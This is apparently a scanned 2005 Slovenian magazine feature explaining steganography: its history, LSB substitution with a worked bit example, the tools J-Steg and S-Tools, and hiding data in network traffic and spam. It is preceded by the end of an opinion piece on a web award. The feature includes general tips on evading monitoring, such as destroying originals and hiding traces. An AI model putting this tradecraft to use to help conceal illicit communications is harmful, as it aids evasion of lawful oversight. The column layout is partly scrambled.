in srednjih podjetij, ki je pripadel Uradu vlade
za informiranje (UVI). Hm ... Od kdaj pa je
urad podjetje? Se mar bori na trgu? Se skuša na
konkurenčnem trgu uveljaviti in krvavo prislužiti denar
za preživetje? Dajte no! Živeti in delati z državnim
denarjem pač ni težko. Ali so ocenjevalci pozabili, da
nagrajeni urad denar zgolj porablja, kar pa nima veliko
zveze s podjetništvom?!
Tisti bolj konstruktivni se takoj po razglasitvi Netkov
niso spuščali v koluarske komentarje, so pa predlagali,

Ilustracija: Marko Škerlep

da bi naslednje leto uvedli posebno skupino za strani
javne uprave. Kar malce cinično je tudi pojasnilo,
zakaj si je UVI prislužil najvišjo nagrado. Zaradi
uredniške politike (beri: provladne cenzure), nevsiljive,
a državni ravni simbolno ustrezne grafično-vizualne
podobe (vsi vemo, kako unikatna in izvirna je podoba
naše države) in zaradi izjemne ustreznosti opravljanja
svojega poslanstva (četudi odmislimo dejstvo, da so na
Uradu plačani iz denarja davkoplačevalcev, se vendarle
večina državljanov ne more spomniti, kaj tako izjemnega
je UVI napravil v zadnjem letu). Še en dokaz več, da
dosežki v letu 2004 niso igrali pomembne vloge. Zakaj
potem torej Netko 2004 in ne »Netko for ever«?!
Iz zapisanega lahko izpeljemo najmanj en sklep: žirija
je očitno čutila potrebo, da poravna stare dolgove,
sebi pa dvigne ceno. Takšni izbori že v imenu stroke ne
smejo postati praksa. Navsezadnje to krha ugled drugim
nagradam. Če so ocenjevalci po letošnjem izboru opravili
s preteklostjo (in politiko), potem lahko upamo, da bi
lahko bil že Netko 2010 vsaj na ravni »avta leta«.


Žirija je očitno
čutila potrebo,
da poravna stare
dolgove, sebi pa
dvigne ceno. Takšni
izbori že v imenu
stroke ne smejo
postati praksa.

MOJ MIKRO 1 JANUAR 2005

17

AKTUALNO
steganografija – skrivanje sporočil

IGRAJMO SE

SKRIVALNICE

V javnosti do razmaha
terorizma o metodi skrivanja
podatkov v nesumljive
datoteke ni bilo veliko
govora. Več je bilo govora o
šifriranju. Zadnje čase pa je postala
priljubljena tema tudi steganografija.
Kako stvar deluje, kdo jo uporablja
in kako vemo, ali datoteka v sebi
skriva dodatno sporočilo?
Piše : Marjan Kodelja
marjan.kodelja@mojmikro.si

S

teganografija ni nov pojem. O njej se je
v javnosti govorilo že pred skoraj desetimi leti. In kaj je to? Steganografija ni nič
drugega kot metoda skrivanja sporočil v
druge dokumente. Te datoteke so običajne fotografije, zvočne datoteke, besedilne datoteke in še
kaj. Steganografija pa ni omejena le na računalniški svet. Njeni začetki namreč segajo daleč v
zgodovino. Znane so legendarne stvari, kot je na
primer tista, ko je neki rimski vojskovodja kurir-

ju obril glavo, na kožo vtetoviral skrivno sporočilo, počakal, da so mu lasje ponovno zrasli in ga
odposlal na nalogo. Stvar je delovala toliko časa,
dokler tega niso izvedeli njegovi nasprotniki in
so vsem ujetim kurirjem začeli briti glave. Veliko
pozneje so se pojavile še druge metode. Kdo še ni
slišal za skrivna sporočila, napisana s nevidnim
črnilom. Še kot otroci smo pisali sporočila, napisana z limoninim sokom.
Z razmahom računalništva in še zlasti pozneje
interneta, je steganografija dobila krila. Sporočila je moč skriti vsepovsod, v različne datoteke,
v zaglavja paketkov v komunikacijskem omrežju
in še marsikam drugam. Pojavila se je gora programske opreme, ki bolj ali manj uspešno skriva
sporočila, hkrati pa tudi orodja, ki sporočila iščejo. Znana igra, torej. Nov, boljši algoritem za
skrivanje sporočil, hitro povzroči nastanek orodja za njegovo odkrivanje. In tako v nedogled. Velja pa pravilo: kdor želi uspešno skriti sporočilo,
pri čemer je seveda govor o različnih državnih
službah, kriminalnih združbah in terorističnih
organizacijah, napiše svoj algoritem (program),
ki je znan le peščici ljudi. Zato si bomo pogledali
nekaj osnovnih metod skrivanja sporočil v različne tipe datotek, ki so splošno znani.

PSIHOLOGIJA SKRIVANJA – ZAKAJ SKRIVAMO?

Stara tehnika: skrivanje informacij znotraj notnega
zapisa. Gasper Schott je vsaki črki v abecedi dodelil
eno noto. Izobraženi glasbenik bi se verjetno začudil,
a večina ljudi tako ali tako ni znala in še vedno ne
zna brati notnega zapisa.

Največkrat skrivamo zato, ker vemo, da delamo nekaj nedovoljenega oziroma nevarnega. V
računalniku osumljenca za pedofilijo so na trdem
disku našli polno slik – a vse so bile popolnoma
nedolžne. Šele strokovnjak za steganografijo je v
teh slikah našel skrite slike otroške pornografije.
In osumljenec je postal obsojenec. Takih primerov je v svetu ogromno. Od izdajanja poslovnih
skrivnosti konkurenčnim podjetjem, vohunjenja, pranja denarja, pa do izmenjave sporočil
med teroristi. A vse le ni negativno. Poslovna
sfera se boji industrijskega vohunjenja in izdajanja poslovnih skrivnosti, zato v zadnjem času
poleg šifriranja sporočil uporabljajo tudi tehnike
steganografije in stegoanalize – ugotavljanje,

ali skrito sporočilo obstaja ali ne. S šifriranjem
ni nič narobe, vendar že dejstvo, da je sporočilo
šifrirano, lahko sproži sume in poskuse razbitja
šifre. Programska oprema lahko samodejno zelo
hitro in z dovolj veliko verjetnostjo z analizo razporejenosti posameznih simbolov ugotovi, katera sporočila so šifrirana. Pri šifriranih sporočilih
so simboli dokaj enakomerno razporejeni, pri
običajnih sporočilih pa ni tako. Jasno je, da se na
primer v slovenskih besedilih večkrat pojavljajo
samoglasniki, kot recimo ž. Primerjava histogramov kaže na očitne razlike.
Steganografija je ozko povezana z varnostjo
sporočanja. Šifriranje je postalo običaj pri posredovanju občutljivejših informacij. Vendar takšno sporočilo pritegne veliko pozornosti, z dovolj
zmogljivo računalniško opremo in dovolj časa je
moč odšifrirati skoraj vse. Manj je opazno običajno sporočilo, ki na prvi pogled ne vsebuje nič posebnega (slikovna ali zvočna datoteka), vendar
je znotraj njega tudi skrivno sporočilo. Če je to
še šifrirano, je varnost toliko večja.
Pa tudi pri tem je treba biti dovolj previden,
saj že samo dejstvo, da komu kaj pošiljamo, lahko
povzroči sume. Recimo, da komunikacijo med
vami in vašim sogovornikom nekdo nadzira. Če
ste mu doslej pošiljali zgolj kratka sporočila, zdaj
pa mu začnete pošiljati ogromne slikovne datoteke, je to lahko sumljivo. Skrita sporočila morajo
biti skrita tako, da nihče ne posumi, da obstajajo. Poglejmo si banalen zgled. Vi in vaš sogovornik sta ljubitelja ribarjenja in zdaj, ko so na
voljo digitalni fotoaparati, si redno pošiljata slike
svojih trofej. Ker to počneta že dlje časa, se tistemu, ki vaju nadzira, te slike ne zdijo sumljive.
Zato so dober medij za prenos skrivnih sporoči.
Če pa nadzorovalec ve, da vaju ribe niti malo ne
zanimajo, bo prej ali slej posumil, da takšna komunikacija skriva več, kot se zdi na prvi pogled.
Pametno je treba izbrati medij, v katerega bomo
sporočilo skrili in obenem paziti, da skrivno sporočilo originala ne pokvari preveč.
Dokaj pogost je tudi način posrednega ko-

Razporeditev simbolov znotraj nešifriranega (levo) in šifriranega sporočila. Vidi se, da se pri šifriranem sporočilu simboli pojavljajo dokaj enakomerno.

18

MOJ MIKRO 1 JANUAR 2005

AKTUALNO
steganografija – skrivanje sporočil
municiranja, pri katerem se sogovornika ne
pogovarjata neposredno in si ne pošiljata sporočil. V tem primeru pošiljatelj medij s skritim
sporočilom (datoteka, nedolžno besedilo) odloži
v kakšno nedolžno novičarsko skupino, strežnik
FTP, forum, blog ali kaj podobnega. Prejemnik
ga najde in prebere sporočilo. V tem primeru, in
tudi v prvem, morata oba sogovornika poznati
način, kako je bilo sporočilo skrito in kakšno
je geslo za izluščenje sporočila oziroma njegovo
dešifriranje.

KAKO DOBER JE ALGORITEM?

Dogovoriti se morata kateri algoritem skrivanja bosta uporabljala in eventualno tudi katero
metodo šifriranja. Steganografski algoritem je
matematična formula, ki sporočilo zapiše v izbrano nosilno datoteko in ga nato zna iz nje ponovno prebrati. Poglejmo si primer vsem Slovencem
znanega besedila, kjer skrijemo po eno črko
sporočila v vsako vrstico. Pošiljanje nacionalne
himne drugemu predstavniku istega naroda običajno ne poraja sumov.
Prijatli ! obrodile so trte vince nam sladko,
ki nam oživlja žile, serce razjasni in oko,
ki vtopi vse skerbi, v potrtih prsih up budi !
Komi nar pred veselo zdravljico, bratje ! čmo zapet ?
Bog našo nam deželo, Bog živi ves slovenski svet,
brate vse, kar nas je sinov sloveče matere !
V sovražnike ' s oblakov rodu naj naš'ga trešči grom;
Prost, ko je bil očakov, naprej naj bo Slovenčev dom,
naj zdrobe njih roke si spone, ki jih še teže !
Edinost, sreča, sprava k nam naj nazaj se vrnejo;
Otrok, kar ima slava, vsi naj si v roke sežejo,
de oblast in z njo čast, ko pred, spet naša boste last !
Kaj lahko storimo? Lahko pošljemo takšno
besedilo, pri tem pa mora naslovnik vedeti, katere črke sestavljajo skrito sporočilo. V takšnih
primerih gre za tajen algoritem, ki je enak ne
glede na besedilo. Kar dosti dela je, da najdete
primerno besedilo, kjer so črke na pravih mestih. Običajnejše je bilo, da so se dogovorili za
stalno besedilo (na primer biblijo), nato pa so
si pošiljali zgolj algoritem. Da ga sovražnik ne
bi prebral, so algoritem še šifrirali. V zgornjem
primeru bi bil algoritem za prebiranje skrivnega sporočila lahko 29 (prva črka sporočila je
29. po vrsti, če ne upoštevamo presledkov), 4,
6, in tako naprej za celotno skrivno sporočilo.
Uspešnost algoritma lahko ocenjujemo na
več načinov, običajno pa se uporabljajo naslednji:
Količina skritih podatkov. Več kot je skritih podatkov, boljša je tehnika skrivanja. Pod
pogojem seveda, da vneseni podatki ne spremenijo originalne datoteke do te mere, da postane sumljiva. Pri zgornjem primeru je jasno,
da je prostora za skrivanje bolj malo. Če bi v
vsako vrstico skrili več kot zgolj eno črko, bi
lahko skrili daljše sporočilo.
Zaznavanje skritih podatkov. Kako preprosto oziroma težko drugi zaznajo, da je v neki

datoteki skrito sporočilo. Težje kot je zaznavanje, boljši je algoritem. Obstaja določena povezava s prvim merilom. Običajno je tako, da
več kot je podatkov, lažje je zaznavanje. Ni pa
vedno tako! Tu pride do izraza tudi psihologija.
Pri zgornjem primeru bi bilo malo čudno, če
bi Prešernovo Zdravljico pošiljali svojim zaveznikom, na primer, Švedom, ki ne bi znali
slovensko.
Pridobivanje skritih podatkov. Kako težko
je iz datoteke izluščiti skrito sporočilo, tudi če
vemo, da je to prisotno. Ni dovolj, da tisti, ki
nekoga nadzira, tudi ve, da določena datoteka
vsebuje sporočilo. Znati ga mora tudi prebrati. Več kot je črk sporočila, skritega v eni sami
vrstici zgornjega primerna, lažje je pametnemu
sovražniku dojeti, kaj smo hoteli sporočiti.
Če bi namesto besedila v zgornjem primeru
pošiljali sogovorniku zgolj algoritem, sovražnik
s tem ne bi imel kaj prida početi, če ne bi vedel, katero besedilo uporabljate. Če bi besedilo
poznal, pa bi z lakoto prebral skrito sporočilo.
Malce bi mu otežili življenje, če bi sporočanje
algoritma šifrirali. Ne glede na to, da se takšni
načini skrivanja sporočil danes ne uporabljajo
več, pa načela veljajo tudi pri bolj dodelanih
metodah skrivanja sporočil.

KAM IN KAKO SKRITI?

rih pred oznako za začetek datoteke (BOF) ne
vplivajo na delovanje. Na sliki lahko vidite
dolžine dveh dokumentov, napisanih z Wordom. V obeh primerih je v dokumentih zgolj
besedica »pozdravljeni«. Word namreč, če je
tako nastavljen, izbrisanega besedila fizično ne
umakne iz datoteke. To sicer več ni vidno, a je
še vedno tam. Namesto izbrisanega besedila bi
bilo lahko tudi skrito sporočilo.
Dobra stran metode zamenjave je, da lahko z
njo skrijemo sporočilo poljubne dolžine. Slabost
pa, da poveča dolžino datoteke. Če imamo na voljo tudi izvirno datoteko, lahko kaj hitro vidimo,
da je nekaj narobe. Enako velja tudi za naš primer
Wordove datoteke. Kdor jo bo odprl in videl zgolj
eno besedico, se bo začudil njeni dolžini.

Metoda zamenjave

Tu algoritem ničesar ne vriva, pač pa določi
posamezne bite podatkov, ki so manj pomembni (LBS) in jih zamenja z biti skritega sporočila. Največkrat se ta metoda uporablja pri
skrivanju sporočil znotraj slikovnih oziroma
zvočnih datotek. Ne deluje pa vedno in zgolj
na ravni bitov. Že zgornji primer Wordovih
datotek lahko uporabimo kot zgled vrivanja.
Namreč, obstoječe podatke za EOF lahko zamenjamo s svojimi.

Steganografske
metode lahko razdelimo po dveh kriterijih. Prvi je mesto
skrivanja
oziroma
kateri je medij, drugi
pa način skrivanja.
Največkrat govorimo o skrivanju v na
prvi pogled običajne Levo so posamezne pike originalne slike s 24-bitno barvno globino, desno pa pike
datoteke (slikovne, s skritim sporočilom. Razlike so minimalne.
zvočne ali besedilne),
sporočilo pa je mogoče skriti tudi na pomnilniKako metoda deluje, je najbolje pogledati na
ške medije ali v IP-promet v omrežju. Ne glede primeru skrivanja sporočila v besedilno datona uporabljeni medij se metode med seboj lo- teko (raster BMP) z barvno globino 24 bitov.
čijo tudi po načinu zapisa skritega sporočila.
V tem primeru je vsaka pika na sliki zapisana s
tremi zlogi (bajti), ki določajo delež barv RBG.
Metoda vrivanja
Vzeli bomo štiri pike iz zgornje slike, tako doPri tej metodi algoritem preveri izbrani no- bimo 12 zlogov, v katera bomo skrili dvanajstsilni medij in poišče področja, kjer lahko vri- bitno skrito sporočilo. Ker zamenjava poteka
nemo dodatne podatke, ne da bi to vplivalo na ravni bitov, bomo številke zapisali binarno.
na delovanje datoteke.
Datoteke niso vedno optimalne, to pomeni,
10111111
11000101
11001100
da je v njih lahko tudi več podatkov, kot bi jih
10111100
11000010
11000110
pričakovali. Na primer, večina datotek vsebuje
10110101
10111111
10111101
oznako »konec datoteke« (EOF). Vsi podatki,
10110000
10111011
10111001
umeščeni za to oznako ali v nekaterih prime-

V obeh Wordovih dokumentih je isto kratko besedilo � »pozdravljeni«.
Vidi se, da je dolžina datotek zelo različna.

Naše skrito sporočilo je
100101111001. Zdaj zadnji bit v vsakem zlogu
zamenjamo z enim bitom
iz sporočila. Biti, ki so se
spremenili, so rdeči, celotno sporočilo pa je v zeleni
barvi:

MOJ MIKRO 1 JANUAR 2005

19

AKTUALNO
steganografija – skrivanje sporočil
10111111
10111101
10110101
10110000

11000100
11000010
10111111
10111010

11001100
11000111
10111101
10111001

Zadnji biti v vseh devetih zlogih nosijo naše
sporočilo, spremembe pa so le na štirih mestih.
Pa tudi te ne vplivajo veliko, saj se barva posamezne pike tako malo spremeni, da tega ni moč
opaziti (kar je lepo razvidno na zgornji sliki). Podobno je tudi pri slikovnih datotekah z osembitno barvno globino (GIF), s to razliko, da lahko
vanjo shranimo manj podatkov, pa še negativni
učinki so lahko večji. Tako skrito sporočilo pa
je zelo občutljivo na spreminjanje datotek. Stiskanje v format JPEG, na primer, tako zapisano
sporočilo uniči. To pa ne pomeni, da v slike tega
zapisa sporočila ni moč zapisati, le da se sporočila ne skrivajo na ravni pik. Podobno velja tudi
pri zvočnih datotekah, kjer zamenjava manj pomembnih bitov ne vpliva na zvok. Spremembe

Steganografski algoritem je matematična
formula, ki sporočilo zapiše v izbrano
nosilno datoteko in ga nato zna iz nje
ponovno prebrati.
so tako majhne, da jih človeško uho ne zazna.
Orodje J-Steg skriva podatke v slike formata
JPEG. Tak način se od drugih kar precej razlikuje. JPEG za stiskanje namreč uporablja algoritem,
s katerim odstranjuje podatke, ki so za ogled slike manj oziroma nepomembni. Stiskanju JPEG
zato pravimo »izgubno« (lossy), saj slika »izgubi«
določene podatke oziroma so namerno izpuščeni, tako da se zmanjša količina podatkov, ki jo
opisuje. Ob uporabi takšnega izgubnega stiskanja
(kompresije) bi bilo logično sklepati, da se bo
tudi sporočilo, skrito v sliki, izgubilo in da format JPEG za skrivanje sporočil ni primeren. A
snovalci programa J-Steg so se domislili načina,
kako to izgubo preprečiti. Program uporablja za

shranjevanje podatkov tako imenovane stiskalne koeficiente. Kaj je to? Za razumevanje postopka je potrebno malce teorije. Stiskanje JPEG
uporablja tako imenovano diskretno kosinusno
transformacijo (DCT). Stiskalni podatki so shranjeni kot cela števila. Stiskanje samo zahteva kar
precej računanja s tako imenovano plavajočo
vejico, končni rezultat program zaokroži bodisi
navzgor bodisi navzdol, da dobi celo število. In
prav to odločanje o zaokroževanju navzgor ali
navzdol uporablja J-Steg za skrivanje sporočila,
ki ga vstavi v obliki koeficientov DCT. Slišati
je dokaj zapleteno. In tudi je, pa tudi sporočila,
skrita tako, je dokaj težko odkriti.
Dobra stran te metode je, da se velikost datoteke običajno ne poveča. Slabosti pa so omejena
dolžina skritega sporočila, ki je močno odvisna
od izbrane nosilne datoteke, možnost uničenja
sporočila pri spreminjanju datoteke (stiskanju)
in verjetnost, da bo vnos sporočila tako spremenil izvirnik, da bo to očitno že na prvi pogled. V

GLEJ, PAPAJA V HIBISKUSU!
Malce smo se poigrali in skrili eno
sliko v drugi sliki. Uporabili smo
preprosto orodje S-Tools, ki podpira
skrivanje znotraj 8- in 24-bitne
grafike. Nosilna datoteka je slika
cveta hibiskusa, v katero smo skrili
sliko papaje. Prva slika je v dveh
formatih, in sicer formata GIF (8-bitna
grafika) in BMP (24-bitna grafika). V
prvem primeru je dolžina datoteke
1,3 MB, v drugem pa 7,5 MB. V obe
sliki smo skrili sliko papaje v formatu
JPG in dolžine 676 KB.

Očitno je, da je z drugo sliko nekaj narobe. Čeprav je slika razmeroma velika, je v njej
veliko napak, ki kažejo, kako skrita slika pokvari original. Takšen rezultat ni primeren
in očitno je nekaj narobe. Dejansko smo skrili preveč podatkov.

Skrivanje v datoteko z 8-bitno grafiko

Primerjava: Nosilna slika, v katero
bomo skrili drugo sliko.

20

MOJ MIKRO 1 JANUAR 2005

Sliko, ki jo vidimo na zaslonu, sestavljajo pike v različnih barvah. Pri osembitni grafiki je barv 256, zapisane pa so v barvni tabeli (paleti barv). Zapis pike
predstavlja en zlog (bajt), torej številka med 0 in 255. Številka pove, katere
barve iz barve tabele je določena pike. Orodje S-Tools zapiše skrito sporočilo
v manj pomembne bite posamezne pike, kar pa pomeni, da se vrednost zloga
lahko spremeni, s tem pa se spremeni tudi barva pike. Da se zaradi tega ne bi
preveč pokvarila kakovost slike, program najprej priredi barvno paleto tako,
da je v njej dejansko manj barv. Če je barv le 32, vsaka pa je v tabelo zapisana
8-krat (skupaj 256 barv), lahko skrito sporočilo zapišemo v zadnje tri bite posameznega zloga. V našem preizkusu smo namenoma pretiravali, tako da je moč
nazorno videti, kako lahko skrito sporočilo pokvari izvirno sliko. Pošiljanje
takšne slike lahko sproži sume, da vsebuje skrita sporočila.
Pri takem skrivanju je zelo pomembno, da ne pretiravamo z dolžino skritega sporočila, oziroma da izberemo primerno nosilno sliko, torej tako, kjer
morebitne spremembe barv določenih pik ne vplivajo veliko na njen videz.
Še najboljše rezultate lahko dobite, če uporabite črno-belo sliko, kjer gre za

AKTUALNO
steganografija – skrivanje sporočil
praksi se največkrat uporablja skrivanje v formate GIF oziroma JPG, saj so takšne datoteke dovolj majhne za pošiljanje prek spleta.

Metoda generacije

Generiranje fraktalne slike iz skritega sporočila

Ta metoda ni toliko
uporabljana kot gornji dve. Njena velika
prednost je v tem, da
ne potrebuje medija,
v katerega zapiše skrito sporočilo. Namesto
tega datoteko generira
na podlagi matrike
(vzorca ponavljanja
besed v angleščini,
zvoka, fraktala). V
zadnjem času so priljubljeni fraktali in
seveda »odštekani«
zvoki, ki jih lahko
kaj hitro zamenjate s
ponorelo rave glasbo.
Pri tej metodi je treba
biti pazljiv do te mere,
da takšne datoteke ne

Toliko da se ve, kdo je avtor slike!

odtenke sivih barv in so razlike med njimi veliko
manjše. Naša testna slika je zelo velika, vsebuje
veliko pik in s tem tudi mest za skrivanje. Še nekaj je zelo pomembno. Če bi vzeli sliko s skritim
sporočilom, jo zapisali v format JPG in nato nazaj v
GIF, bi sporočilo izgubili. Skrivanje tako je namreč
izredno občutljivo na manipulacije z datotekami.
Enako velja tudi za naslednji primer, ko smo isto
sporočilo skrili v isto sliko, vendar zapisano s 24bitno barvno globino. Nekatera orodja omogočajo
tudi izbor mesta, kjer naj se sporočilo shrani. Če
imamo na sliki področje, kjer je že v izvirniku veliko pik različnih barv, je to dobro mesto za skrito
sporočilo.
Slike formata GIF so poleg onih formata JPG
najbolj množične v spletu, zato se tudi največkrat uporabljajo za skrivanje sporočil. Predvsem v
primerih, ko hočemo take datoteke komu poslati
prek spleta. Ker so te slika načeloma majhne, je v
njih manj prostora za skrivanje, zatorej so primernejša za krajša skrita sporočila.

Skrivanje v datoteko s 24-bitno grafiko

Slike, zapisane v 24-bitni barvni globini,
so velike in obenem ponujajo obilo prostora
za skrivanje. Niso primerne za pošiljanje prek
spleta, lahko pa jih uporabimo, ko želimo kaj Čisto nekaj drugega pa je skrivanje v datoteko BMP. Razlika je vidna zgolj na bitni ravni. Povečali smo štiri pike v
skriti v lastnem računalniku. Znan je primer zgornjem levem kotu in napisali tudi vrednosti RGB. Šele tu je moč zaznati minimalne razlike.
pedofila, ki je imel vse obremenjujoče slike
skrite znotraj običajnih slik.
pozornosti. Orodij za skrivanje v slikovnih datotekah je v spletu moč najti
Pri tako zapisani sliki je vsaka pika predstavljena s tremi zlogi, ki dolo- veliko- največkrat skrivajo v slike formatov GIF, BMP ali JPG, pri čemer
čajo vrednost barvnih kanalov R (rdeča), G (zelena) in B (modra). Vsak je metoda za slednje drugačna. Nečesa pa ne smete pozabiti: ko skrijete
kanal ima svojo vrednost in skupaj tvorijo poljubno barvo, ki pa jih je lah- sporočilo v sliko in tako dobite novo sliko, morate original vedno uničiti.
ko skupaj 65 tisoč. Skrivanje sporočila v takšno datoteko poteka enako.

Sporočilo program zapiše v najmanj pomembne bite posamezne pike (glej
primer v glavnem besedilu). Nemogoče je določiti, katera zgornja slika je Dodatni viri - Najuporabnejši spletni povezavi, kjer najdete poleg teorije
izvirnik in katera ne. Tudi ko smo povečali slike na 1600 odstotkov in smo o steganografiji tudi povezave do brezplačnih in komercialnih programskih orodji, sta:
videli posamezne pike, razlike med njimi ni moč zaznati s prostim očesom. http://www.finaldownload.com/products/steganography.html
www.stegoarchive.com
Šele primerjanje vrednosti posameznih zlogov pokaže minimalne razlike.
Pri skrivanju česarkoli v slike velja premisliti, kakšno osnovno slikovno Nekaj brezplačnih orodji najdete tudi na našem MikroCD-ju. Gre za preprosta orodja, s
datoteko bomo vzeli in kako dolgo bo naše sporočilo. Prepričati se mo- katerimi lahko tudi sami preizkusite, kako stvar deluje. Za resnejše uporabo pa bo treba
ramo, da se nova slika ne loči od izvirne in da kot taka ne bo pritegnila kupiti kakšen komercialni izdelek ali, še bolje, razviti svoj lastni program.
MOJ MIKRO 1 JANUAR 2005

21

AKTUALNO
steganografija – skrivanje sporočil
porajajo sumničenj. Je pa rezultat močno odvisen od kakovosti algoritma, ki lahko, če je dovolj
dober, generira besedilo ali zvok, ki ni sumljiv
in morda deluje kot pristno sporočilo. Če pa je
njegova kakovost slaba, lahko postane sumljivo
ponavljanje besedil brez repa in glave ali čudno
prasketanje v zvočniku.
Tehniki digitalnega »vodnega žiga« in digitalnih
»prstnih odtisov« (digital fingerprints) nekateri
uvrščajo med metode skrivanja podatkov. In čeprav
lahko s pomočjo nevidnega vodnega žiga skrijemo
krajše sporočilo, vodni žig ni namenjen skrivanju.
Njegova poglavitna naloga je ščitenje pravic avto-

Šifrirana sporočila vzbujajo pozornost
in jih je moč z ustreznimi programi
hitro dešifrirati, zato v zadnjem času
za posredovanje občutljivih informacij
pogosto uporabljajo tudi tehnike
steganografije � skrivanja sporočil.
rjev vsebin, ki krožijo po internetu. Cilja sta dva:
vodni žig mora biti vstavljen tako, da ne spremeni
originalne datoteke in da ga je težko oziroma nemogoče odstraniti, ne da bi uničili datoteko. Pri
slikah mora biti žig tak, da še vedno brez težav vidimo celotno sliko, po drugi strani pa poskus njegove
odstranitve uniči original tako, da ni več uporaben.
To, kar smo mi naredili pri gornji sliki, ni pravi vodni žig, rabi pa kot njegov primer. Še vedno vidimo
vse, kar je pomembno, vendar besedila iz slike ne
moremo odstraniti in jo »ukrasti«.
Med novicami v prejšnjem Mojem mikru smo
omenili, da nekateri barvni laserski tiskalniki
na vsak izpis nevidno zapišejo tudi svojo serijsko številko. Seveda zgolj zato, da bi lahko
ugotovili, kdo ponareja denar ali druge uradne
listine. Vendar bi bila tehnika uporabna tudi za
pošiljanje skrivnih sporočil. Za kaj takega ali pa
za, na primer, CD-zapisovalnik, ki piše na običajno neuporabljena področja, je potreben poseg v strojno opremo naprave. Sami doma česa
takega ne moremo narediti, še manj pa lahko to
preberemo z običajno računalniško opremo. Verjamemo pa, da so tudi takšne naprave v kakšnih
skrivnih laboratorijih.

SKRIVNO KOMUNICIRANJE

Eno je skriti sporočilo v medij, drugo pa je
tako datoteko skrivno poslati. Pri neposrednem
komuniciranju se v zadnjem času uporablja še
ena metoda – spam. Če želimo zakriti dejstvo,
da komuniciramo z določeno osebo, lahko takšno sporočilo pošljemo na čim več naslovov in ga
tako zakrinkamo kot spam, med naslovniki pa
je seveda tudi tista oseba, ki ji je sporočilo namenjeno. Naslovnik bo vedel, kaj z njim storit,
drugi prejemniki pa bodo malce jezni! Pri ogromni količini spama, ki kroži v spletu, je kar nekaj
opremljenih tudi s skrivnim sporočilom. Med že
omenjenimi načini posrednega komuniciranje je
možna tudi objava datotek s skrivnim sporočilom na lastni spletni strani. Ker je fizična lokacija take spletne strani lahko tudi v strežnikih, ki
prostora ne zaračunavanja, je z malce spretnosti

22

MOJ MIKRO 1 JANUAR 2005

V računalniku osumljenca za pedofilijo
so na trdem disku našli polno običajnih
slik, v katerih je šele strokovnjak za
steganografijo našel skrite slike otroške
pornografije.
možno zakriti vse sledi, ki bi kogarkoli pripeljali
do nas. Skrivno sporočilo lahko skrijemo tudi v
zaglavja paketkov, ki krožijo po internetu ali
pa te zakrijemo tako, da se zdijo kot normalni
omrežni promet.
Načeloma lahko skrivanje v omrežju razdelimo na štiri načine:
Skrivanje v prilogo sporočila. V tem primeru

nosilno datoteko pripnemo sporočilu elektronske pošte ali jo odložimo na kakšnem spletnem
mestu (posredni način komunikacije: FTP-strežniki, forumi, spletne strani in podobno). Paziti je
treba, da takšno sporočilo ni preveliko, da ni že
na prvi pogled očitno, da vsebuje skrito sporočilo. Za skritje sporočila uporabimo en program,
za pošiljanje pa odjemalca elektronske pošte ali
spletni brskalnik.
Skrivanje v prenosu. V spletu je moč najti
programska orodja, ki najprej skrijejo sporočilo
v nosilno datoteko, nato pa to še pošljejo prek
izbranega načina prenosa. Gre za podoben način
kot zgoraj omenjeni, s to razliko, da vse naredi
en sam program. Zgleda takšnih programov sta
Invisible Secrets in CameraShy.

Uporabnost v modernem svetu
Najbolj globalno razvpiti in iskani terorist Osama bin Laden je očitno največji »fan« steganografije. Šele ko se je izvedelo, da tehniko uporabljajo člani njegove teroristične organizacije
za prikrito medsebojno komuniciranje, se je o njej začelo več govoriti. Tako naj bi, stvar ni
potrjena, slike leta 1998 napadenih ameriških veleposlaništev v Afriki in navodila za napada
skrili v različnih klepetalnicah, povezanih s športno tematiko, pornografskih spletnih straneh
in tudi na drugih na prvi pogled nesumljivih spletnih straneh. Manj znano je, da nekateri
ljudem »prijazni« režimi celo prepovedujejo šifriranje sporočil. To je kaznivo in vsakdo, ki
takšno sporočilo pošlje, ima lahko težave. Saj veste, zakaj bi že režim metal veliko davkoplačevalskega denarja za razbijanje šifer teh istih državljanom, če jim lahko to početje preprosto
prepove. In po svoje so ravno potrebe »upornikov« po nevpadljivem načinu prenosa zaupnih
sporočil povzročile, da so marsikatera uporabnejša metoda steganografije in s tem tudi programi prišli v internet. Če se bo nekoč razvedelo, da je kakšno orodje razvila ameriška tajna
služba, danes pa ga uporabljajo teroristi, nas to vsekakor ne bo začudilo.
Dandanes tehnik šifriranja in steganografije ne uporabljajo zgolj negativci in državni organi,
temveč svoje mesto najdejo tudi v poslovnem svetu. Negativna plat je uporaba za namene izdajanja poslovnih skrivnosti konkurenčnim podjetjem s strani lastnih zaposlenih. Zaradi tega
se morajo v podjetjih zavedati obstoja teh tehnik in ne nazadnje znati zaznati obstoj skritih
sporočil. Že sum je običajno dovolj, ni treba, da znamo taka sporočila tudi dejansko prebrati.
Če obstaja sum, da zaposleni izdaja poslovne informacije, je dovolj, da ga oddaljimo od takih
informacij in morda malce bolj sledimo njegovim delom. Če je res »izdajalec«, bomo prej ali
slej zbrali dovolj dokazov. Obe tehniki pa je moč uporabiti tudi v legalne poslovne namene – v
komuniciranju s partnerji ali deli podjetja, pri čemer je bistveno, da taka sporočila ne pridejo
na ušesa tistim, ki jim niso namenjena. V tabeli smo zbrali nekatere tipične cilje komunikacije
in tehnike, ki jih lahko uporabimo, da bo komunikacija varnejša.
Cilji komunikacije
Komunikacija z znanim naslovnikom
Komunikacija ne sme biti
spremenjena med transportom.
Komunikacije prek »sovražnika«

Sporočila lahko prebere zgolj
naslovnik.

Nihče ne sme posumiti, da se dogaja
nekaj čudnega.

Ne želimo izdati pravega razloga
komunikacije.
Moramo vedeti, kdo je poslal
sporočilo.

Opis
Katero tehniko uporabimo
Bistveno je, da sporočilo dejansko prejme oseba, Šifriranje
ki ji je namenjena.
Zagotoviti je treba, da nihče sporočila ni
Šifriranje
spremenil, preden ga je prejel naslovnik.
Ko ne moremo nadzirati poti sporočila in
Šifriranje in
obstaja velika verjetnost, da bodo komunikacijo steganografija
prestregli.
Ni pomembno, kdo vse lahko prestreže sporočilo, Šifriranje
pomembno je, da ga lahko prebere zgolj oseba, ki
ji je bilo namenjeno.
Včasih je že dejstvo, da z nekom komuniciramo
in si izmenjujeta šifrirana sporočila lahko
sumljivo. V tem primeru je pomembno, da ni
neposredne povezave med sogovornikoma.
Ko komunikacija samo po sebi ni sumljiva, želimo
pa skriti pravo vsebino sporočila.
Osnovni pogoj za elektronsko poslovanje. Vedno
lahko dokažemo, de je na primer naročnik
resnično poslal naročilo in da to ni naredil nihče
drug v njegovem imenu.

Steganografija
in posredno
